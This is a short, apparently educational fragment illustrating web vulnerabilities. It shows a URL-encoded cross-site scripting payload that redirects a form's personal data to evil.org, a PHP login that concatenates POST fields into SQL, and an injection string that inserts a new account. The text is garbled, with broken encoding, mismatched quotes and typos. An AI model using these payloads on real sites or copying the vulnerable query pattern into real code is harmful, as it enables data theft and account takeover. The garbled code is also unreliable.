Vulnerability: Search. String is taken directly from query string
%22+onmouoseover%3 D%27 Client. Form% 2 Eaction%3 D%22 evil%2 Eorg%2 Fget%2 Easp%3 FDat a% 3 D%22+%2 B+Client. Form%2 EPersonal. Data%3 BClient Form% 2 Esubmit%3 B%27
XSS Example Hello
$SQLquery = “SELECT * FROM users WHERE username=`”. $_POST[“username”]. ”’ AND password=‘”. $_POST[“password”]. ”’”; $DBresult=db_query($SQLQuery); if($DBresult) { // username-password is correct, log the user on } else { //username-password is incorrect }
SELECT accountdata FROM acountinfo WHERE accountid = ` ‘; INSERT INTO accountdata (accountid, password) VALUES (`thomas`, ’ 12345’) – ‘ AND password = ‘ ‘